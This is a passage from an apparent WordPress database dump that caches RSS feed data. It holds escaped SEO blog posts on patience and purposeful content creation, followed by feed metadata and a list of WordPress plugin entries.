juggernaut.&lt;/p&gt;\n&lt;p&gt;This is a worthy strategy for conquest, building an authority site to weather SERP fluctuations and lazy competitors. All the while, this is only part one of the equation. When you couple this with progressive off page inbound links (over time) all keywords are attainable (if you cross the tipping point).&lt;/p&gt;\n&lt;p&gt;The question is, do you have the commitment, persistence, drive, budget or time to do so. If you are up against a competitor who has been dominant for 5 years uncontested by a challenger, then be prepared to engage the battle (when they see you picking off keywords and taking their spots).&lt;/p&gt;\n&lt;p&gt;This is why the next virtue is of extreme importance… that virtue is patience.&lt;/p&gt;\n&lt;h3&gt;PATIENCE&lt;/h3&gt;\n&lt;p&gt;Patience is not a naturally occurring trait for most; it must be developed over time. SEO requires time and much like a great battle or game of chess getting to the end game with an advantage all depends on what moves you made in the beginning or previous moves leading up to it.&lt;/p&gt;\n&lt;p&gt;While there are various strategies and tactics, they are mere pieces on the board. What matters is how they are used (leverage), when you use them (timing) and why you would elect to use them in the first place (circumstance).  To sift through the archives of our strategies, you need look no further than our &lt;a href=\&quot;http://www.seodesignsolutions.com/sitemap.xml\&quot;&gt;sitemap&lt;/a&gt; for gems. But no strategy or tactic will help you if you don’t have the patience to let it play out.&lt;/p&gt;\n&lt;p&gt;So, before you pick your next battle or your next keyword, know what you are up against and plan accordingly. Remember, Rome was not built in a day and neither is a lucrative ranking either – so, bring your best arsenal (&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/how-to-reference-material/how-to-seo-your-website/\&quot;&gt;site architecture&lt;/a&gt;, content creation, internal links and syndication and backlinks) or you are already defeated before even stepping on the battlefield from some competitor who already has.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=1FIc3wfYvv4:_eG9UzenEm8:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/1FIc3wfYvv4\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:29;a:12:{s:5:\&quot;title\&quot;;s:28:\&quot;Create Content With Purpose!\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/nv1fnesjQlY/\&quot;;s:8:\&quot;category\&quot;;s:104:\&quot;SEO BasicsContent Curationcontent-creationContent-SyndicationSEOSEO Content CreationThe Value of Content\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Thu, 27 Oct 2011 06:51:02 PDT\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=8990\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:7042:\&quot;&lt;p&gt;&lt;strong&gt; &lt;/strong&gt;Today&amp;#8217;s topic is &lt;strong&gt;creating content with purpose&lt;/strong&gt; (adding fresh content on your website) which serves a dual purpose for SEO and user engagement. Both are equally important and necessary in the grand scheme of the evolution of your website.&lt;/p&gt;\n&lt;div id=\&quot;attachment_8991\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 357px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-basics/content-creation/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-8991\&quot; title=\&quot;tactful-content-creation\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/10/tactful-content-creation.jpg\&quot; alt=\&quot;tactful content creation\&quot; width=\&quot;347\&quot; height=\&quot;346\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Create Content With Purpose&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;The first short-term purpose is to generate a surge of &lt;em&gt;present-tense&lt;/em&gt; traffic. Even if your new page or post generates 25 new visitors to your website in one day, reaching 100, 200 or 500 visitors per day is scalable by the introduction and syndication of new and / or relevant content.&lt;span id=\&quot;more-8990\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;The second &lt;em&gt;long-term purpose&lt;/em&gt; content creation serves is the ability for each page you create to age and transform into a &lt;strong&gt;powerful hub page&lt;/strong&gt; (replete with PageRank, link-flow and ranking power) which can funnel link juice to more critical (&lt;strong&gt;spoke in the wheel&lt;/strong&gt;) commercial pages with the express intent of getting those pages into the top 10 spotlight.&lt;/p&gt;\n&lt;p&gt;As traffic and mileage may vary &lt;em&gt;from website to website&lt;/em&gt; depending on the subject/topic, demand and/or authority of your website; in the instance of &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;SEO Design Solutions&lt;/a&gt;, I know that I can generate additional 300-400 fresh visitors per day from one blog post over the average ambient traffic we receive to our website from the aged legacy content it houses.&lt;/p&gt;\n&lt;p&gt;The other added benefit is the more content you have the more PageRank and authority you develop. The takeaway is that creating qualified, rich, engaging content not only wins you points from search engines, but will insulate your website from vacillations (rising and falling) if minor algorithmic changes threaten the relevancy and ranking landscape (if you were relying on off page backlinks alone).&lt;/p&gt;\n&lt;p&gt;A proper SEO campaign should always involve the introduction of fresh/relevant content. Not so much to obfuscate links or link building as much as the on-page justification of giving search engines a reason to rank a website higher (from being a genuine resource).&lt;/p&gt;\n&lt;p&gt;Search engines are based on a basic principle (1) crawl, index and store content and then (2) use that content to query against (with 200+ relevance and recency filters) to determine which group of websites are (a) trusted and (b) authoritative enough to rank in the &lt;strong&gt;“authority set”&lt;/strong&gt; – the top 10 results.&lt;/p&gt;\n&lt;p&gt;Aside from the two points made above about creating more traffic and leveraging pages eventually to foster additional buoyancy for landing pages. Content (and the quality and relevance of the content) is truly one of the more prominent metrics that search engines use when deciding who wins the click (as a result of where they are positioned in the search engines index).&lt;/p&gt;\n&lt;p&gt;On page &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-and-internal-linking/\&quot;&gt;internal linking&lt;/a&gt; opportunities are also a side benefit of strategic content creation. By spanning the topical nodes of synonyms and other related phrases that pertain to the topic, you can sprinkle phrases in landing pages and / or supporting pages which you can use for internal links.&lt;/p&gt;\n&lt;p&gt;These internal links carry more weight in the algorithm than links found in common areas like the footer, sidebar or navigation and a page that is a PageRank 3 internal page (for example) passes equally as much weight through a link as a link from another website/page from outside the website. This means the more pages in your website that have trust, relevance, PageRank/Link-flow or authority, the less you need to depend on backlinks to get ranked.&lt;/p&gt;\n&lt;p&gt;When you understand the premise of theming your content (creating a main topic and nesting supporting keywords, articles and / or pages), your own website becomes a &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/how-to-reference-material/how-to-consolidate-on-page-seo-with-content-navigation-and-links/\&quot;&gt;powerful on-page dynamo&lt;/a&gt; that is capable of fueling less competitive keywords through tactful internal links.&lt;/p&gt;\n&lt;p&gt;Also, when considering that your website is only as strong as its weakest page, &lt;em&gt;leaving no page behind and giving it a function to act as a supporting page that links to more commercial landing pages or sculpting that page as a destination&lt;/em&gt; is a great alternative to each page fending for itself with no continuity or links from contextual linking or navigation.&lt;/p&gt;\n&lt;p&gt;In either case, the entire corpus of documents benefit (as the whole becomes stronger, more relevant and more interdependent) if you are leveraging the premise of tactful content creation and &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/how-semantic-connectivity-affects-seo/\&quot;&gt;keyword occurrence&lt;/a&gt;. The occurrence of a phrase can become a link to the appropriate landing page.&lt;/p&gt;\n&lt;p&gt;Once you cross the tipping point for on page internal links, the page becomes buoyant. Don’t believe me, just think about the cohesiveness of Wikipedia and it’s no surprise while they are one of the most dominant websites in Google’s index ranking for millions of keywords as a result of their on-page structure and internal links.&lt;/p&gt;\n&lt;p&gt;While you may not have a website the size of Wikipedia (most don’t), you do have the ability to create fresh content and also syndicate that content to social media sites, article directories, RSS aggregators and more to (a) generate more traffic and (b) cultivate relevant internal links which boost page level trust and PageRank and eventually &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/develop-domain-authority/\&quot;&gt;domain authority&lt;/a&gt; for the entire website.&lt;/p&gt;\n&lt;p&gt;In closing, here is an alternative to content creation it&amp;#8217;s called content curation and our friends at Network Empire are teaching a course &amp;#8220;&lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/curation-intro-sign-up/\&quot;&gt;&lt;strong&gt;Premium Content Curation&lt;/strong&gt;&lt;/a&gt;&amp;#8221; for those of you who are interested. Pass it along and as always, I hope you found this post useful and informative.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=nv1fnesjQlY:T4VTz2VBkow:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/nv1fnesjQlY\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:344:\&quot;Today&amp;#8217;s topic is creating content with purpose (adding fresh content on your website) which serves a dual purpose for SEO and user engagement. Both are equally important and necessary in the grand scheme of the evolution of your website. The first short-term purpose is to generate a surge of present-tense traffic. Even if your new [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;3\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:67:\&quot;http://www.seodesignsolutions.com/blog/seo-basics/content-creation/\&quot;;}s:7:\&quot;summary\&quot;;s:344:\&quot;Today&amp;#8217;s topic is creating content with purpose (adding fresh content on your website) which serves a dual purpose for SEO and user engagement. Both are equally important and necessary in the grand scheme of the evolution of your website. The first short-term purpose is to generate a surge of present-tense traffic. Even if your new [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:7042:\&quot;&lt;p&gt;&lt;strong&gt; &lt;/strong&gt;Today&amp;#8217;s topic is &lt;strong&gt;creating content with purpose&lt;/strong&gt; (adding fresh content on your website) which serves a dual purpose for SEO and user engagement. Both are equally important and necessary in the grand scheme of the evolution of your website.&lt;/p&gt;\n&lt;div id=\&quot;attachment_8991\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 357px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-basics/content-creation/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-8991\&quot; title=\&quot;tactful-content-creation\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/10/tactful-content-creation.jpg\&quot; alt=\&quot;tactful content creation\&quot; width=\&quot;347\&quot; height=\&quot;346\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Create Content With Purpose&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;The first short-term purpose is to generate a surge of &lt;em&gt;present-tense&lt;/em&gt; traffic. Even if your new page or post generates 25 new visitors to your website in one day, reaching 100, 200 or 500 visitors per day is scalable by the introduction and syndication of new and / or relevant content.&lt;span id=\&quot;more-8990\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;The second &lt;em&gt;long-term purpose&lt;/em&gt; content creation serves is the ability for each page you create to age and transform into a &lt;strong&gt;powerful hub page&lt;/strong&gt; (replete with PageRank, link-flow and ranking power) which can funnel link juice to more critical (&lt;strong&gt;spoke in the wheel&lt;/strong&gt;) commercial pages with the express intent of getting those pages into the top 10 spotlight.&lt;/p&gt;\n&lt;p&gt;As traffic and mileage may vary &lt;em&gt;from website to website&lt;/em&gt; depending on the subject/topic, demand and/or authority of your website; in the instance of &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;SEO Design Solutions&lt;/a&gt;, I know that I can generate additional 300-400 fresh visitors per day from one blog post over the average ambient traffic we receive to our website from the aged legacy content it houses.&lt;/p&gt;\n&lt;p&gt;The other added benefit is the more content you have the more PageRank and authority you develop. The takeaway is that creating qualified, rich, engaging content not only wins you points from search engines, but will insulate your website from vacillations (rising and falling) if minor algorithmic changes threaten the relevancy and ranking landscape (if you were relying on off page backlinks alone).&lt;/p&gt;\n&lt;p&gt;A proper SEO campaign should always involve the introduction of fresh/relevant content. Not so much to obfuscate links or link building as much as the on-page justification of giving search engines a reason to rank a website higher (from being a genuine resource).&lt;/p&gt;\n&lt;p&gt;Search engines are based on a basic principle (1) crawl, index and store content and then (2) use that content to query against (with 200+ relevance and recency filters) to determine which group of websites are (a) trusted and (b) authoritative enough to rank in the &lt;strong&gt;“authority set”&lt;/strong&gt; – the top 10 results.&lt;/p&gt;\n&lt;p&gt;Aside from the two points made above about creating more traffic and leveraging pages eventually to foster additional buoyancy for landing pages. Content (and the quality and relevance of the content) is truly one of the more prominent metrics that search engines use when deciding who wins the click (as a result of where they are positioned in the search engines index).&lt;/p&gt;\n&lt;p&gt;On page &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-and-internal-linking/\&quot;&gt;internal linking&lt;/a&gt; opportunities are also a side benefit of strategic content creation. By spanning the topical nodes of synonyms and other related phrases that pertain to the topic, you can sprinkle phrases in landing pages and / or supporting pages which you can use for internal links.&lt;/p&gt;\n&lt;p&gt;These internal links carry more weight in the algorithm than links found in common areas like the footer, sidebar or navigation and a page that is a PageRank 3 internal page (for example) passes equally as much weight through a link as a link from another website/page from outside the website. This means the more pages in your website that have trust, relevance, PageRank/Link-flow or authority, the less you need to depend on backlinks to get ranked.&lt;/p&gt;\n&lt;p&gt;When you understand the premise of theming your content (creating a main topic and nesting supporting keywords, articles and / or pages), your own website becomes a &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/how-to-reference-material/how-to-consolidate-on-page-seo-with-content-navigation-and-links/\&quot;&gt;powerful on-page dynamo&lt;/a&gt; that is capable of fueling less competitive keywords through tactful internal links.&lt;/p&gt;\n&lt;p&gt;Also, when considering that your website is only as strong as its weakest page, &lt;em&gt;leaving no page behind and giving it a function to act as a supporting page that links to more commercial landing pages or sculpting that page as a destination&lt;/em&gt; is a great alternative to each page fending for itself with no continuity or links from contextual linking or navigation.&lt;/p&gt;\n&lt;p&gt;In either case, the entire corpus of documents benefit (as the whole becomes stronger, more relevant and more interdependent) if you are leveraging the premise of tactful content creation and &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/how-semantic-connectivity-affects-seo/\&quot;&gt;keyword occurrence&lt;/a&gt;. The occurrence of a phrase can become a link to the appropriate landing page.&lt;/p&gt;\n&lt;p&gt;Once you cross the tipping point for on page internal links, the page becomes buoyant. Don’t believe me, just think about the cohesiveness of Wikipedia and it’s no surprise while they are one of the most dominant websites in Google’s index ranking for millions of keywords as a result of their on-page structure and internal links.&lt;/p&gt;\n&lt;p&gt;While you may not have a website the size of Wikipedia (most don’t), you do have the ability to create fresh content and also syndicate that content to social media sites, article directories, RSS aggregators and more to (a) generate more traffic and (b) cultivate relevant internal links which boost page level trust and PageRank and eventually &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/develop-domain-authority/\&quot;&gt;domain authority&lt;/a&gt; for the entire website.&lt;/p&gt;\n&lt;p&gt;In closing, here is an alternative to content creation it&amp;#8217;s called content curation and our friends at Network Empire are teaching a course &amp;#8220;&lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/curation-intro-sign-up/\&quot;&gt;&lt;strong&gt;Premium Content Curation&lt;/strong&gt;&lt;/a&gt;&amp;#8221; for those of you who are interested. Pass it along and as always, I hope you found this post useful and informative.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=nv1fnesjQlY:T4VTz2VBkow:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/nv1fnesjQlY\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}}s:7:\&quot;channel\&quot;;a:8:{s:5:\&quot;title\&quot;;s:28:\&quot;SEO Design Solutions™ Blog\&quot;;s:4:\&quot;link\&quot;;s:38:\&quot;http://www.seodesignsolutions.com/blog\&quot;;s:11:\&quot;description\&quot;;s:94:\&quot;Search Engine Optimization Strategies, Tips, Tactics and Techniques from SEO Design Solutions.\&quot;;s:8:\&quot;language\&quot;;s:5:\&quot;en-US\&quot;;s:13:\&quot;lastbuilddate\&quot;;s:29:\&quot;Tue, 06 Aug 2013 08:51:57 PDT\&quot;;s:2:\&quot;sy\&quot;;a:2:{s:12:\&quot;updateperiod\&quot;;s:6:\&quot;hourly\&quot;;s:15:\&quot;updatefrequency\&quot;;s:1:\&quot;1\&quot;;}s:10:\&quot;feedburner\&quot;;a:3:{s:14:\&quot;emailserviceid\&quot;;s:22:\&quot;SeoDesignSolutionsBlog\&quot;;s:18:\&quot;feedburnerhostname\&quot;;s:28:\&quot;http://feedburner.google.com\&quot;;s:9:\&quot;feedflare\&quot;;s:391:\&quot;Subscribe with My Yahoo!Subscribe with NewsGatorSubscribe with My AOLSubscribe with BloglinesSubscribe with NetvibesSubscribe with GoogleSubscribe with PageflakesSubscribe with PlusmoSubscribe with The Free DictionarySubscribe with Bitty BrowserSubscribe with Live.comSubscribe with Excite MIXSubscribe with WebwagSubscribe with Podcast ReadySubscribe with WikioSubscribe with Daily Rotation\&quot;;}s:7:\&quot;tagline\&quot;;s:94:\&quot;Search Engine Optimization Strategies, Tips, Tactics and Techniques from SEO Design Solutions.\&quot;;}s:9:\&quot;textinput\&quot;;a:0:{}s:5:\&quot;image\&quot;;a:0:{}s:9:\&quot;feed_type\&quot;;s:3:\&quot;RSS\&quot;;s:12:\&quot;feed_version\&quot;;s:3:\&quot;2.0\&quot;;s:5:\&quot;stack\&quot;;a:0:{}s:9:\&quot;inchannel\&quot;;b:0;s:6:\&quot;initem\&quot;;b:0;s:9:\&quot;incontent\&quot;;b:0;s:11:\&quot;intextinput\&quot;;b:0;s:7:\&quot;inimage\&quot;;b:0;s:13:\&quot;current_field\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;current_namespace\&quot;;b:0;s:19:\&quot;_CONTENT_CONSTRUCTS\&quot;;a:6:{i:0;s:7:\&quot;content\&quot;;i:1;s:7:\&quot;summary\&quot;;i:2;s:4:\&quot;info\&quot;;i:3;s:5:\&quot;title\&quot;;i:4;s:7:\&quot;tagline\&quot;;i:5;s:9:\&quot;copyright\&quot;;}s:4:\&quot;etag\&quot;;s:27:\&quot;eSFHCIdmKvguNX1XiFZKCrW/jYI\&quot;;s:13:\&quot;last_modified\&quot;;s:29:\&quot;Mon, 04 Nov 2013 16:24:49 GMT\&quot;;}', 'no');
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+0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;59950@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:58:\&quot;Create great-looking responsive image galleries with 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Sharebar\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:50:\&quot;http://wordpress.org/plugins/snapskout/#post-59820\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Thu, 24 Oct 2013 16:40:43 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;59820@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:84:\&quot;Snap Skout Social Sharebar Plugin &amp;#124; Promoting Discovery, Engagement and Sharing\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:7:\&quot;talktup\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:6;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;ProductListers\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:55:\&quot;http://wordpress.org/plugins/productlisters/#post-60139\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 01 Nov 2013 14:13:22 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;60139@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:131:\&quot;This plugin generates a XML file which can be used for ProductListers.com\nand converts your website to a social and mobile booster.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;Productlisters\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:7;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:13:\&quot;World Mosques\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:54:\&quot;http://wordpress.org/plugins/world-mosques/#post-60142\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 01 Nov 2013 15:20:24 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;60142@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:145:\&quot;Offers a nice way to spice up your website&amp;#039;s sidebar by displaying an image of a randomly selected Mosque along with its brief introduction.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:20:\&quot;Nasiruddin Khan Amir\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:8;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					